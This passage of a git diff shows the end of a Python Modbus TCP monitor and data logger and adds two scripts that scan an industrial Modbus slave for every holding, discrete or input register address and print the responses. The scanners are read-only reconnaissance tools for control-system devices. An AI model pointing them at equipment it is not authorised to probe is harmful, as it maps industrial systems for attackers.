io.open(thislogfile,'at', encoding="utf-8") as logfile: + logwriter = csv.writer(logfile, quoting=csv.QUOTE_ALL) + ## ensure UTF8 encoding while writing + ## print out what data is contained and whats its format + for thisrow in data.datasets: + logwriter.writerows([thisrow]) + + logfile.write('-'*50+'\n') ## write a separator + ## format the column headers + columnheader = 'time' + for thisrow in data.datasets[1:]: ## omit first row containing 'address' + ## ensure UTF8 encoding while writing, since this is the column heading + # no problem with converting to string even if stored as int + thisrow = [s.encode('utf-8') for s in thisrow] + ## use description field for columnheader if filled + if (thisrow[3] != ''): + thisdescription = ','+str(thisrow[3]) + ## if a unit is entered add it after the description + if (thisrow[4] != ''): + thisdescription += ' ('+str(thisrow[4])+')' + columnheader += thisdescription + else: ## no description, use address as header + columnheader += ', '+str(thisrow[0]) + + columnheader += '\n' ## line break before data rows + logfile.write(columnheader) + + ## if the file is not empty we assume an append write to the file + if len(data.datawritebuffer) > 0: ## if the buffer has data write this to disk + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.datawritebuffer) + data.datawritebuffer = [] ## empty buffer + else: ## we asume that this was called outside the poll loop with buffer size not reached + with open(thislogfile,'at') as logfile: + logwriter = csv.writer(logfile) + logwriter.writerows(data.databuffer) + data.databuffer = [] ## empty buffer + + ## function for starting communication with target + # + def runCommunication(self): + from pymodbus.client.sync import ModbusTcpClient as ModbusClient + + self.client = ModbusClient(host=data.ipaddress, port=data.portno) + try: + self.client.connect() + except: + showerror('Modbus Connection Error','could not connect to target. Check your settings, please.') + + self.pollTargetData() + + self.client.close() + ## lambda: is required to not spawn hundreds of threads but only one that calls itself + self.commtimer = Timer(data.loginterval, lambda: self.runCommunication()) + self.commtimer.start() ## needs to be a separate command else the timer is not cancel-able + + def stopCommunication(self): + #print('Stopped Communication') + self.commtimer.cancel() + ## flush data buffer to disk + self.writeLoggerDataFile() + + ## function for polling data from the target and triggering writing to log file if set + # + def pollTargetData(self): + from pymodbus.payload import BinaryPayloadDecoder + from pymodbus.constants import Endian + import datetime + + data.datavector = [] ## empty datavector for current values + + ## request each register from datasets, omit first row which contains only column headers + for thisrow in data.datasets[1:]: + ## if the connection is somehow not possible (e.g. target not responding) + # show a error message instead of excepting and stopping + try: + received = self.client.read_input_registers(address = int(thisrow[0]), + count = data.moddatatype[thisrow[1]], + unit = data.modbusid) + except: + thisdate = str(datetime.datetime.now()).partition('.')[0] + thiserrormessage = thisdate + ': Connection not possible. Check settings or connection.' + if (gui_active): + messagebox.showerror('Connection Error',thiserrormessage) + return ## prevent further execution of this function + else: + print(thiserrormessage) + return ## prevent further execution of this function + + message = BinaryPayloadDecoder.fromRegisters(received.registers, byteorder=Endian.Big, wordorder=Endian.Big) + ## provide the correct result depending on the defined datatype + if thisrow[1] == 'S32': + interpreted = message.decode_32bit_int() + elif thisrow[1] == 'U32': + interpreted = message.decode_32bit_uint() + elif thisrow[1] == 'U64': + interpreted = message.decode_64bit_uint() + elif thisrow[1] == 'STR32': + interpreted = message.decode_string(32).decode("utf-8").strip('\x00') ## convert bytes to str + elif thisrow[1] == 'S16': + interpreted = message.decode_16bit_int() + elif thisrow[1] == 'U16': + interpreted = message.decode_16bit_uint() + else: ## if no data type is defined do raw interpretation of the delivered data + interpreted = message.decode_16bit_uint() + + ## check for "None" data before doing anything else + if ((interpreted == self.MIN_SIGNED) or (interpreted == self.MAX_UNSIGNED)): + displaydata = None + else: + ## put the data with correct formatting into the data table + if thisrow[2] == 'FIX3': + displaydata = float(interpreted) / 1000 + elif thisrow[2] == 'FIX2': + displaydata = float(interpreted) / 100 + elif thisrow[2] == 'FIX1': + displaydata = float(interpreted) / 10 + + else: + displaydata = interpreted + + ## save _scaled_ data in datavector for further handling + data.datavector.append(displaydata) + + ## display collected data + if (gui_active == 1): + gui.updateLoggerDisplay() + + ## for logging purposes we need a time stamp first + stampedvector = [] + ## we don't need the microseconds of the date return value, so we strip it + stampedvector.append(str(datetime.datetime.now()).partition('.')[0]) + stampedvector += data.datavector + data.databuffer.append(stampedvector) + #print data.databuffer + ## is the buffer large enough to be written to file system? + if (len(data.databuffer) >= data.logmaxbuffer): + ## ensure that the data to write will not be altered by faster poll cycles + data.datawritebuffer = data.databuffer + data.databuffer = [] ## empty the buffer + self.writeLoggerDataFile() ## call write routine to save data on disk + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addDataset(self,inputdata): + data.datasets.append(inputdata) + print('Current datasets: '),(data.datasets) + + ## function for saving program state at program exit + # + def cleanOnExit(self): + try: ## stop data logging on exit, catch a possible exception, when communication is not running + self.stopCommunication() + except: + print('') + + ## if data is available, write polled data from buffer to disk + if len(data.databuffer): + self.writeLoggerDataFile() + print('PyModMon has exited cleanly.') + + ## function for printing the current configuration settings + # only used for debug purpose + # + def printConfig(self): + counter = 0 + for data in data.datasets: + print('Datasets in List:', counter, data) + counter += 1 + +## class that contains all GUI specifics +# +class Gui: + def __init__(self,master): + + ## configure app window + master.title('Python Modbus Monitor') + master.minsize(width=550, height=450) + master.geometry("550x550") ## scale window a bit bigger for more data lines + self.settingscanvas = Canvas(master,bg="yellow",highlightthickness=0) + self.settingscanvas.pack(side='top',anchor='nw',expand=False,fill='x') + + ## make the contents of settingscanvas fit the window width + Grid.columnconfigure(self.settingscanvas,0,weight = 1) + + ## create window containers + + ## frame for the config file and data logger file display + filesframe = Frame(self.settingscanvas,bd=1,relief='groove') + filesframe.columnconfigure(1,weight=1) ## set 2nd column to be auto-stretched when window is resized + filesframe.grid(sticky = 'EW') + + ## frame for the settings of the communication parameters + self.settingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.settingsframe.grid(sticky = 'EW') + + ## frame for the controls for starting and stopping configuration + controlframe = Frame(self.settingscanvas,bd=1,relief='groove') + controlframe.grid(sticky = 'EW') + + ## create Menu + menubar = Menu(master) + filemenu = Menu(menubar, tearoff=0) + filemenu.add_command(label='Import Configuration File…',command=self.selectImportFile) + filemenu.add_command(label='Export Configuration File…',command=self.selectExportFile) + filemenu.add_command(label='Set Logger Data File…',command=self.selectLoggerDataFile) + filemenu.add_command(label='Save Current Configuration',command=inout.writeExportFile) + filemenu.add_command(label='Exit',command=self.closeWindow) + + toolmenu = Menu(menubar, tearoff=0) + toolmenu.add_command(label='Data Settings…',command=self.dataSettings) + toolmenu.add_command(label='Print Config Data',command=inout.printConfig) + + helpmenu = Menu(menubar, tearoff=0) + helpmenu.add_command(label='About…',command=self.aboutDialog) + + menubar.add_cascade(label='File', menu=filemenu) + menubar.add_cascade(label='Tools', menu=toolmenu) + menubar.add_cascade(label='Help', menu=helpmenu) + master.config(menu=menubar) + + ## add GUI elements + + ## input mask for configuration file + # + Label(filesframe, text='Configuration File:').grid(row=0,sticky='E') + + self.input_inifilename = Entry(filesframe, width = 40) + self.input_inifilename.bind('',self.getInputFile) ## enable file name to be set by [Enter] or [Return] + self.input_inifilename.grid(row=0,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectImportFile)).grid(row=0,column=2,sticky='W') ## opens dialog to choose file from + + ## input mask for data logger file + # + Label(filesframe, text='Data Logger File:').grid(row=1,sticky='E') + + self.input_logfilename = Entry(filesframe, width = 40) + self.input_logfilename.bind('',self.setLogFile) ## enable file name to be set by [Enter] or [Return] + self.input_logfilename.grid(row=1,column=1,sticky='EW') ## make input field streching with window + + Button(filesframe,text='…',command=(self.selectLoggerDataFile)).grid(row=1,column=2,sticky='W') ## opens dialog to choose file from + + ## enable daily log option in GUI, has no own action, will be regarded during log write + self.checked_daily = IntVar() + self.checkManageData=Checkbutton(filesframe, + text='Create daily log file', + variable=self.checked_daily + ) + self.checkManageData.grid(row=2,column=0,columnspan=3) + + Button(filesframe,text='⟲ Re-Read Configuration', command=(self.displaySettings)).grid(row=3,column=0,sticky='W') ## triggers re-read of the configuration file + Button(filesframe,text='⤓ Save Current Configuration', command=(inout.writeExportFile)).grid(row=3,column=1,sticky='W') ## triggers re-read of the configuration file + + ## buttons for starting and stopping data retrieval from the addressed target + # + + ## Button for starting communication and starting writing to logger file + self.commButton = Button(controlframe,text='▶ Start Communication',bg='lightblue', command=self.startCommunication) + self.commButton.grid(row=0,column=1,sticky='W') + + ## fields for configuring the data connection + # + Label(self.settingsframe, text='Communication Connection Settings', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.settingsframe, text='Current Values').grid(row=1,column=1) + Label(self.settingsframe, text='New Values').grid(row=1,column=2) + + Label(self.settingsframe, text='Target IP Address:').grid(row=2,column=0,sticky = 'E') + Label(self.settingsframe, text='Port No.:').grid(row=3,column=0,sticky = 'E') + Label(self.settingsframe, text='Modbus Unit ID:').grid(row=4,column=0,sticky = 'E') + Label(self.settingsframe, text='Manufacturer:').grid(row=5,column=0,sticky = 'E') + Label(self.settingsframe, text='Log Interval[s]:').grid(row=6,column=0,sticky = 'E') + Button(self.settingsframe,text='⮴ Update Settings',bg='lightgreen',command=(self.updateCommSettings)).grid(row=7,column=2, sticky='W') + + ## frame for entering and displaying the data objects + self.datasettingsframe = Frame(self.settingscanvas,bd=1,relief='groove') + self.datasettingsframe.columnconfigure(3,weight=1) ## make description field fit the window + self.datasettingsframe.grid(sticky = 'EW') + + ## table with data objects to display and the received data + Label(self.datasettingsframe, text='Target Data', font='-weight bold').grid(columnspan=4, sticky='W') + Label(self.datasettingsframe, text='Addr.').grid(row=1,column=0) + Label(self.datasettingsframe, text='Type').grid(row=1,column=1) + Label(self.datasettingsframe, text='Format').grid(row=1,column=2) + Label(self.datasettingsframe, text='Description').grid(row=1,column=3) + Label(self.datasettingsframe, text='Unit').grid(row=1,column=4) + self.input_modaddress=Entry(self.datasettingsframe,width=7) + self.input_modaddress.grid(row=2,column=0) + + self.input_moddatatype = StringVar() + self.input_moddatatype.set(list(data.moddatatype.keys())[0])#[0]) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_moddatatype,*data.moddatatype) + self.choice_moddatatype.grid(row=2,column=1) + + self.input_dataformat = StringVar() + self.input_dataformat.set(None) + self.choice_moddatatype=OptionMenu(self.datasettingsframe,self.input_dataformat,*data.dataformat) + self.choice_moddatatype.grid(row=2,column=2) + + self.input_description=Entry(self.datasettingsframe,width=35) + self.input_description.grid(row=2,column=3,sticky='ew') + + self.input_dataunit=Entry(self.datasettingsframe,width=5) + self.input_dataunit.grid(row=2,column=4) + + Button(self.datasettingsframe,text='+',font='-weight bold',bg='lightyellow',command=(self.addNewDataset)).grid(row=2,column=6) + + ## checkbutton to enable manipulation of the entered data. + # this is slow, therefore not enabled by default. Also it alters the display layout. + self.checked_manage = IntVar() + self.checkManageData=Checkbutton(self.datasettingsframe, + text='Manage data sets', + variable=self.checked_manage, + command=self.displayDatasets, + ) + self.checkManageData.grid(row=3,column=0,columnspan=3) + + ## canvas for displaying monitored data + self.datacanvas = Canvas(master,bd=1,bg="green",highlightthickness=0) + self.datacanvas.pack(anchor='sw',side='top',expand=True,fill='both') + ## frame that holds all data to display. the static data table and the polled data + self.dataframe = Frame(self.datacanvas) + self.dataframe.pack(side='left',expand=True,fill='both') + ## frame for static data table + self.datadisplayframe = Frame(self.dataframe,bd=1,relief='groove') + #self.datadisplayframe = Frame(self.datacanvas,bd=1,relief='groove') + self.datadisplayframe.pack(side='left', anchor='nw',expand=True,fill='both') + ## frame for data from target + self.targetdataframe = Frame(self.dataframe,bg='white',relief='groove',bd=1) + self.targetdataframe.pack(side='left', anchor='nw',expand=True,fill='both') + #self.targetdataframe.grid(column=1, row=0) + ## add scrollbar for many data rows + self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datascrollbar.pack(side='right',fill='y') + #self.datascrollbar = Scrollbar(self.datacanvas, orient='vertical', command=self.datacanvas.yview) + self.datacanvas.configure(yscrollcommand=self.datascrollbar.set) + + ## make data table fit in scrollable frame + self.datacanvas.create_window((0,0), window=self.dataframe, anchor='nw',tags='dataframe') + + ## fill the datafields with the current settings + self.displayCommSettings() + self.displayDatasets() + + self.update_data_layout() + + ## function for updating the data view after adding content to make the scrollbar work correctly + def update_data_layout(self): + self.dataframe.update_idletasks() + self.datacanvas.configure(scrollregion=self.datacanvas.bbox('all')) + + + def displaySettings(self): + ## read import file and update displayed data + inout.readImportFile() + self.displayCommSettings() + self.displayDatasets() + + ## update logfile display + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + def displayDatasets(self): + ## display all currently available datasets + for widget in self.datadisplayframe.winfo_children(): + widget.destroy() + + if (self.checked_manage.get()): + Label(self.datadisplayframe,text='Up').grid(row=0,column=0) + Label(self.datadisplayframe,text='Down').grid(row=0,column=1) + Label(self.datadisplayframe,text='Delete').grid(row=0,column=2) + + thisdata = '' ## make local variable known + for thisdata in data.datasets: + counter = data.datasets.index(thisdata) ## to keep track of the current row + if (self.checked_manage.get()): + ## add some buttons to change order of items and also to delete them + if (counter > 1): ## first dataset cannot be moved up + buttonUp=Button(self.datadisplayframe, + text='↑', + command=lambda i=counter:(self.moveDatasetUp(i))) + buttonUp.grid(row=(counter),column = 0) + if ((counter > 0) and (counter != (len(data.datasets)-1))): ## last dataset cannot be moved down + buttonDown=Button(self.datadisplayframe, + text='↓', + command=lambda i=counter:(self.moveDatasetDown(i))) + buttonDown.grid(row=(counter),column = 1) + if (counter > 0): ## do not remove dataset [0] + buttonDelete=Button(self.datadisplayframe, + text='-', + command=lambda i=counter:(self.deleteDataset(i))) + buttonDelete.grid(row=(counter),column = 2) + + ## add the currently stored data for the dataset + Label(self.datadisplayframe,width=3,text=counter).grid(row=(counter),column=3) + Label(self.datadisplayframe,width=6,text=thisdata[0]).grid(row=(counter),column=4) + Label(self.datadisplayframe,width=7,text=thisdata[1]).grid(row=(counter),column=5) + Label(self.datadisplayframe,width=7,text=thisdata[2]).grid(row=(counter),column=6) + Label(self.datadisplayframe,width=25,text=thisdata[3]).grid(row=(counter),column=7,sticky='ew') + Label(self.datadisplayframe,width=6,text=thisdata[4]).grid(row=(counter),column=8) + + self.update_data_layout() + + ## reorder the datasets, move current dataset one up + def moveDatasetUp(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i-1)] = data.datasets[(i-1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, move current dataset one down + def moveDatasetDown(self,current_position): + i = current_position + data.datasets[i], data.datasets[(i+1)] = data.datasets[(i+1)], data.datasets[i] + self.displayDatasets() + + ## reorder the datasets, delete the current dataset + def deleteDataset(self,current_position): + i = current_position + del data.datasets[i] + self.displayDatasets() + + def displayCommSettings(self): + self.current_ipaddress = Label(self.settingsframe, text=data.ipaddress, bg='white') + self.current_ipaddress.grid (row=2,column=1,sticky='EW') + self.input_ipaddress = Entry(self.settingsframe, width=15, fg='blue') + self.input_ipaddress.grid(row=2,column=2, sticky = 'W') # needs to be on a seperate line for variable to work + self.input_ipaddress.bind('',self.updateCommSettings) ## enable the Entry to update without button click + + self.current_portno = Label(self.settingsframe, text=data.portno, bg='white') + self.current_portno.grid (row=3,column=1,sticky='EW') + self.input_portno = Entry(self.settingsframe, width=5, fg='blue') + self.input_portno.grid(row=3,column=2, sticky = 'W') + self.input_portno.bind('',self.updateCommSettings) ## update without button click + + self.current_modbusid = Label(self.settingsframe, text=data.modbusid, bg='white') + self.current_modbusid.grid (row=4,column=1,sticky='EW') + self.input_modbusid = Entry(self.settingsframe, width=5, fg='blue') + self.input_modbusid.grid(row=4,column=2, sticky = 'W') + self.input_modbusid.bind('',self.updateCommSettings) ## update without button click + + self.current_manufacturer = Label(self.settingsframe, text=data.manufacturer, bg='white') + self.current_manufacturer.grid (row=5,column=1,sticky='EW') + self.input_manufacturer = Entry(self.settingsframe, width=25, fg='blue') + self.input_manufacturer.grid(row=5,column=2, sticky = 'W') + self.input_manufacturer.bind('',self.updateCommSettings) ## update without button click + + self.current_loginterval = Label(self.settingsframe, text=data.loginterval, bg='white') + self.current_loginterval.grid (row=6,column=1,sticky='EW') + self.input_loginterval = Entry(self.settingsframe, width=3, fg='blue') + self.input_loginterval.grid(row=6,column=2, sticky = 'W') + self.input_loginterval.bind('',self.updateCommSettings) ## update without button click + + ## function for updating communication parameters with input sanitation + # if no values are given in some fields the old values are preserved + # + def updateCommSettings(self,*args): + + #print('update Communication Settings:') + if self.input_ipaddress.get() != '': + thisipaddress = str(self.input_ipaddress.get()) + ## test if the data seems to be a valid IP address + try: + self.ip_address(thisipaddress) + data.ipaddress = str(self.input_ipaddress.get()) + except: + messagebox.showerror('IP Address Error','the data you entered seems not to be a correct IP address') + ## if valid ip address entered store it + + if self.input_portno.get() != '': + ## test if the portnumber seems to be a valid value + try: + check_portno = int(self.input_portno.get()) + if check_portno < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid port number') + return + data.portno = int(self.input_portno.get()) + + if self.input_modbusid.get() != '': + ## test if the modbus ID seems to be a valid value + try: + check_modbusid = int(self.input_portno.get()) + if check_modbusid < 0: + raise ValueError + except ValueError: + messagebox.showerror('Port Number Error','the value you entered seems not to be a valid Modbus ID') + return + data.modbusid = int(self.input_modbusid.get()) + + if self.input_manufacturer.get() != '': + data.manufacturer = (self.input_manufacturer.get()) + + if self.input_loginterval.get() != '': + ## test if the logger intervall seems to be a valid value + try: + check_loginterval = int(self.input_loginterval.get()) + if check_loginterval < 1: + raise ValueError + except ValueError: + messagebox.showerror('Logger Interval Error','the value you entered seems not to be a valid logger intervall') + return + data.loginterval = int(self.input_loginterval.get()) + + self.displayCommSettings() + + ## function for starting communication and changing button function and text + # + def startCommunication(self): + inout.runCommunication() + self.commButton.configure(text='⏹ Stop Communication',bg='red', command=(self.stopCommunication)) + + def stopCommunication(self): + inout.stopCommunication() + self.commButton.configure(text='▶ Start Communication',bg='lightblue', command=(self.startCommunication)) + + ## function for reading configuration file + # + def selectImportFile(self): + data.inifilename = filedialog.askopenfilename(title = 'Choose Configuration File',defaultextension='.ini',filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + self.displaySettings() + + ## function for checking for seemingly correct IP address input + # + def ip_address(self,address): + valid = address.split('.') + if len(valid) != 4: + raise ValueError + for element in valid: + if not element.isdigit(): + raise ValueError + break + i = int(element) + if i < 0 or i > 255: + raise ValueError + return + + ## function for selecting configuration export file + # + def selectExportFile(self): + data.inifilename = filedialog.asksaveasfilename(initialfile = data.inifilename, + title = 'Choose Configuration File', + defaultextension='.ini', + filetypes=[('Configuration file','*.ini'), ('All files','*.*')]) + + ## update displayed filename in entry field + self.input_inifilename.delete(0,END) + self.input_inifilename.insert(0,data.inifilename) + + inout.writeExportFile() + + ## function for choosing logger data file + # + def selectLoggerDataFile(self): + data.logfilename = filedialog.asksaveasfilename(initialfile = data.logfilename, title = 'Choose File for Logger Data', defaultextension='.csv',filetypes=[('CSV file','*.csv'), ('All files','*.*')]) + self.input_logfilename.delete(0,END) + self.input_logfilename.insert(0,data.logfilename) + + ## function for updating the current received data on display + # + def updateLoggerDisplay(self): + thisdata = '' ## make variable data known + ## delete old data + for displayed in self.targetdataframe.winfo_children(): + displayed.destroy() + ## display new data + Label(self.targetdataframe,text='Value').grid(row=0,column=0) + for thisdata in data.datavector: + ## send data to display table + Label(self.targetdataframe,text=thisdata,bg='white').grid(column=0,sticky='e') + + ## function for setting program preferences (if needed) + # + def dataSettings(self): + print('dataSettings') + + ## function for updating the configuration file + # with the path entered into the text field + # + def getInputFile(self,event): + data.inifilename = event.widget.get() + + ## function for updating the log file path + # with the path entered into the entry field + # + def setLogFile(self,event): + data.logfilename = event.widget.get() + + ## function adds dataset to the datasets list + # also updates the displayed list + # new datasets are not added to the config file + # + def addNewDataset(self): + inout.addDataset([self.input_modaddress.get(), + self.input_moddatatype.get(), + self.input_dataformat.get(), + self.input_description.get(), + self.input_dataunit.get()]) + self.displayDatasets() + #print(data.datasets) + + ## function for displaying the about dialog + # + def aboutDialog(self): + messagebox.showinfo('About Python Modbus Monitor'\ + ,'This is a program that acts as a modbus slave to receive data from modbus masters like SMA solar inverters. \nYou can choose the data to be received via the GUI and see the live data. \nYou can also call the programm from the command line with a configuration file given for the data to be retrieved. \nThe configuration file can be generated using the GUI command \"File\"→\"Export Configuration\"') + + ## function for closing the program window + # + def closeWindow(self): + exit() + +## create a data object +data = Data() + +## create an input output object +inout = Inout() + +## what to do on program exit +atexit.register(inout.cleanOnExit) + +## create main program window +## if we are in command line mode lets detect it +gui_active = 0 +if (arguments['--nogui'] == False): + ## load graphical interface library + from tkinter import * + from tkinter import messagebox + from tkinter import filedialog + try: ## if the program was called from command line without parameters + window = Tk() + ## create window container + gui = Gui(window) + gui_active = 1 + if (arguments['--inifile'] != None): + inout.checkImportFile() + gui.displaySettings() + + mainloop() + exit() ## if quitting from GUI do not proceed further down to command line handling + except TclError: + ## check if one of the required command line parameters is set + if ((arguments['--inifile'] == None) and (arguments['--ip'] == None)): + print('Error. No graphical interface found. Try "python pymodmon.py -h" for help.') + exit() + ## else continue with command line execution + +######## this section handles all command line logic ########################## + +## read the configuration file +if (arguments['--inifile'] != None): + inout.checkImportFile() + +## get log file name and try to access it +if (arguments['--logfile'] != None): + data.logfilename = str(arguments['--logfile']) + inout.writeLoggerDataFile() ## initial write to file, tests for file + +## get log interval value and check for valid value +if (arguments['--loginterval'] != None): + try: + check_loginterval = int(arguments['--loginterval']) + if check_loginterval < 1: + raise ValueError + except ValueError: + print('Log interval error. The interval must be 1 or more.') + exit() + data.loginterval = int(arguments['--loginterval']) + +## get log buffer size and check for valid value +if (arguments['--logbuffer'] != None): + try: + check_logbuffer = int(arguments['--logbuffer']) + if check_logbuffer < 1: + raise ValueError + except ValueError: + print('Log buffer error. The log buffer must be 1 or more.') + exit() + data.logmaxbuffer = int(arguments['--logbuffer']) + +## get all values for single-value reads +## all obligatory entries. missing entries will be caught by docopt. +# only simple checks will be done, because if there are errors, communication will fail. +if (arguments['--ip'] != None): ## just a check for flow logic, skipped when working with inifile + data.ipaddress = str(arguments['--ip']) + data.modbusid = int(arguments['--id']) + data.port = int(arguments['--port']) + ## because called from command line data.datasets has only one entry + # we can just append and use same mechanics as in "normal" mode + data.datasets.append( [int(arguments['--addr']), + str(arguments['--type']), + str(arguments['--format']), + str(arguments['--descr']), + str(arguments['--unit']) ] ) + +## start polling data +## single poll first +inout.runCommunication() +## if --single is set, exit immediately +if (arguments['--single'] == True): + inout.stopCommunication() + print('single run') + exit() diff --git a/modbus/misc/read_all_holding_registers.py b/modbus/misc/read_all_holding_registers.py new file mode 100644 index 0000000..d32247b --- /dev/null +++ b/modbus/misc/read_all_holding_registers.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python + +""" +File: read_all_holding_registers.py +Desc: Read all holding registers from a TCP MODBUS Slave +Version: 0.0.2 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def scan(): + + parser = argparse.ArgumentParser(description = "Read all holding registries from a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/read_register.py b/modbus/misc/read_register.py new file mode 100644 index 0000000..6486405 --- /dev/null +++ b/modbus/misc/read_register.py @@ -0,0 +1,132 @@ +#!/usr/bin/env python + +""" +File: read_register.py +Desc: Read specific registers from a TCP MODBUS Slave +Version: 0.0.1 +""" + +__author__ = 'rm' + +from pymodbus.client.sync import ModbusTcpClient +import argparse +import sys +import collections + + +class ModbusException(Exception): + _codes = { + 1: 'ILLEGAL FUNCTION', + 2: 'ILLEGAL DATA ADDRESS', + 3: 'ILLEGAL DATA VALUE', + 4: 'SLAVE DEVICE FAILURE', + 6: 'SLAVE DEVICE BUSY' + } + + def __init__(self, code): + self.code = code + self.message = ModbusException._codes[code] if ModbusException._codes.has_key(code) else 'Unknown Modbus Exception' + + def __str__(self): + return "Modbus Error. Exception %d: %s" % (self.code, self.message) + + +def status(msg): + sys.stderr.write(msg[:-1][:39].ljust(39,' ')+msg[-1:]) + +def validate_ipv4(s): + pieces = s.split('.') + if len(pieces) != 4: return False + try: return all(0<=int(p)<256 for p in pieces) + except ValueError: return False + +def validate_mbaddrtype(s): + addrtype_set = ("h", "d", "i") + return s in addrtype_set + +def read_holding(addr, client, uid): + req = client.read_holding_registers(addr, 1, unit=uid) + return req + +def read_discrete(addr, client, uid): + req = client.read_discrete_inputs(addr, 1, unit=uid) + return req + +def read_inputregister(addr, client, uid): + req = client.read_input_registers(addr, 1, unit=uid) + return req + +def scan(): + parser = argparse.ArgumentParser(description = "Read specific addresses on a TCP MODBUS Slave") + parser.add_argument("ip", help="IP address of the slave") + parser.add_argument("-p", "--port", dest="port", help="Modbus Port. Defaults to 502", type=int, metavar="PORT", default=502) + parser.add_argument("-u", "--uid", dest="uid", help="Modbus Unit ID. Defaults to 1", type=int, metavar="UID", default=1) + parser.add_argument("-sa", "--start-address", dest="start_address", help="Starting Address for the scanner. Defaults to 1", type=int, metavar="START", default=1) + parser.add_argument("-ea", "--end-address", dest="end_address", help="Ending Address for the scanner. Defaults to 65535", type=int, metavar="END", default=65535) + parser.add_argument("-t", "--type", dest="register_type", help="Type of Modbus address to read. Values can be 'h' for Holding, 'd' for Discrete Inputs or 'i' for Input Registers. Defaults to 'h'", type=str, metavar="TYPE", default="h") + + args = parser.parse_args() + + try: + ip = args.ip + except IndexError: + print "ERROR: No target to scan\n\n" + parser.print_help() + exit() + + # ip address format verification + if not validate_ipv4(ip): + print "ERROR: IP address is invalid\n\n" + parser.print_help() + exit() + + # modbus address type verification + if not validate_mbaddrtype(args.register_type): + print "ERROR: Invalid Modbus address type\n\n" + parser.print_help() + exit() + + print 'Connecting to %s...' % ip, + # connect to modbus slave + client = ModbusTcpClient(ip, args.port) + client.connect() + if client.socket == None: + print "ERROR: Could not connect to %s." %ip + exit() + print ' Connected.' + + # TODO add ETA mechanism + results = {} + addr = 1 + readfunction = { + "h": read_holding, + "d": read_discrete, + "i": read_inputregister + } + registers_tested = args.end_address - args.start_address + 1 + if registers_tested == 1: + hr = readfunction[args.register_type](args.start_address, client, args.uid) + #hr = client.read_holding_registers(args.start_address, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + else: + for addr in range(args.start_address, args.end_address): + hr = readfunction[args.register_type](addr, client, args.uid) + #hr = client.read_holding_registers(addr, 1, unit=args.uid) # unit value is device id of the slave (UID) + if hr.function_code == 3: # if we succeed reading stuff + results[addr] = hr.registers[0] + # if it fails, hr.function = 131 (0x83), cf modbus doc + + client.close() + print 'Register scanning is finished (%d registers were tried)' % (registers_tested) + # sorting dict for printing + ordered_results = collections.OrderedDict(sorted(results.items())) + for addr, value in ordered_results.iteritems(): + print 'Addr {0} \t{1}'.format(addr,value) + +if __name__=="__main__": + try: + scan() + except KeyboardInterrupt: + status("Ctrl-C happened\n") diff --git a/modbus/misc/register_scanner.py b/modbus/misc/register_scanner.py new file mode 100644 index 0000000..f5a0340 